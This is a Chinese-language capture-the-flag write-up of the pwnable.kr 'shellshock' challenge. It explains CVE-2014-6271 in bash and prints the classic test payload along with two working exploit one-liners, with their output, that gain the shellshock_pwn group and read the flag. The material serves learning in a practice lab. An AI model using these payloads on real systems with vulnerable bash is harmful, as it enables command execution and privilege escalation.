本文共 2306 字,大约阅读时间需要 7 分钟。
本关主要是考察shellshock漏洞。
ssh shellshock@pwnable.kr -p2222
登陆后看一下权限:
shellshock@ubuntu:~$ ls -altotal 980drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .drwxr-xr-x 92 root root 4096 Aug 12 10:28 ..d--------- 2 root root 4096 Oct 12 2014 .bash_historydr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssidrwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.cshellshock@ubuntu:~$ iduid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)
我们当前id是shellshock,目标flag需要shellshock_pwn用户才可以读。我们可以执行shellshock程序,由于group中的s位,该程序在执行时具备shellshock_pwn用户组的权限。因此最终的目标是控制shellshock去读取flag。
源程序比较简短,直接看源码吧。
#includeint main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}
程序调用getegid获取当前group的id,setresuid会设置程序的 the real user ID, the effective user ID, and the saved set-user-ID ,总之就是变成shellshock_pwn啦。(linux这些ID其实我很迷,暂时没搞的很清楚,已加入todolist)。之后调用存在漏洞的bash(version 4.2.25)去执行。
shellshock漏洞于2014年9月24日披露,CVE-2014-6271。payload:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
漏洞原理:
环境变量的值以()开头表示定义导入函数。在bash启动时,如果存在导入函数,那么这个函数就会被执行。
shellshock@ubuntu:~$ env HELLO="() { /usr/bin/id; }" ./bash -c HELLOuid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)
关于shellshock以及bash的研究其实可以更加深入的,由于最近没有这个需求加上时间关系,暂时搁置吧。详细可以参考drops文章[1]和r00tgrok[2]的文章,其实我更喜欢第二篇,因为足够底层,更加了解原理。
两个参考的exp:
shellshock@ubuntu:~$ iduid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)shellshock@ubuntu:~$ env x='() { :;}; bash' ./shellshockshellshock@ubuntu:~$ iduid=1019(shellshock) gid=1020(shellshock_pwn) groups=1020(shellshock_pwn),1019(shellshock)shellshock@ubuntu:~$ cat flagonly if I knew CVE-2014-6271 ten years ago..!!shellshock@ubuntu:~$ env echo="() { cat flag; }" /home/shellshock/bash -c '/home/shellshock/shellshock'only if I knew CVE-2014-6271 ten years ago..!!
[1]
[2]